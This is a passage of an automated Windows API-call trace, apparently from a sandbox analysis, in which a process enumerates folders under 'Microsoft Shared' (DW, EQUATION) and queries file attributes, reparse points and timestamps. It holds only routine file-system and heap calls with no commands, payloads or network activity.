[0142.223] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.223] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0142.226] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.226] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.226] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.227] NtClose (Handle=0x198) returned 0x0 [0142.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985280 [0142.227] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0142.227] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.227] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0142.227] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.227] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.228] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0142.228] GetLastError () returned 0x12 [0142.228] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c38 [0142.228] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0142.228] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0142.229] GetLastError () returned 0x12 [0142.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985280) returned 1 [0142.229] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0142.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.229] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0142.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0142.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0142.230] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.230] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.230] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.230] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.230] NtClose (Handle=0x19c) returned 0x0 [0142.230] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.230] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.230] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.230] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985280 [0142.230] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c38 [0142.231] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.236] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0142.236] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0142.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d7a8 [0142.236] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989bd0 [0142.236] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="")) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d7c8 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989cd8 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d7e8 [0142.237] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98bff0 [0142.237] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.238] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98d808 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98c0f8 [0142.238] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.238] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0142.238] GetLastError () returned 0x12 [0142.238] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0142.238] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0142.238] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.238] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0142.238] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0142.952] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0142.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.952] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0142.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.952] NtClose (Handle=0x19c) returned 0x0 [0142.952] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0142.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.952] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985390 [0142.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0142.952] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.953] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, 